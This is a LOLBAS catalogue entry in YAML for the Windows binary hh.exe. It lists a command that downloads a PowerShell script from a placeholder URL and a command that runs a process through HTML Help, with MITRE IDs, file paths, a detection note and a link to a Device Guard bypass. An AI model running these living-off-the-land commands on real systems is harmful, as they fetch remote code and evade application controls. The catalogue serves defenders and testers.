LOLBAS/yml/OSBinaries/Hh.yml

34 lines
1.0 KiB
YAML

---
Name: Hh.exe
Description: Binary used for processing chm files in Windows
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
- Command: HH.exe http://some.url/script.ps1
Description: Open the target PowerShell script with HTML Help.
Usecase: Download files from url
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: HH.exe c:\windows\system32\calc.exe
Description: Executes calc.exe with HTML Help.
Usecase: Execute process with HH.exe
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: C:\Windows\System32\hh.exe
- Path: C:\Windows\SysWOW64\hh.exe
Code_Sample:
- Code:
Detection:
- IOC: hh.exe should normally not be in use on a normal workstation
Resources:
- Link: https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/
Acknowledgement:
- Person: Oddvar Moe
Handle: '@oddvarmoe'
---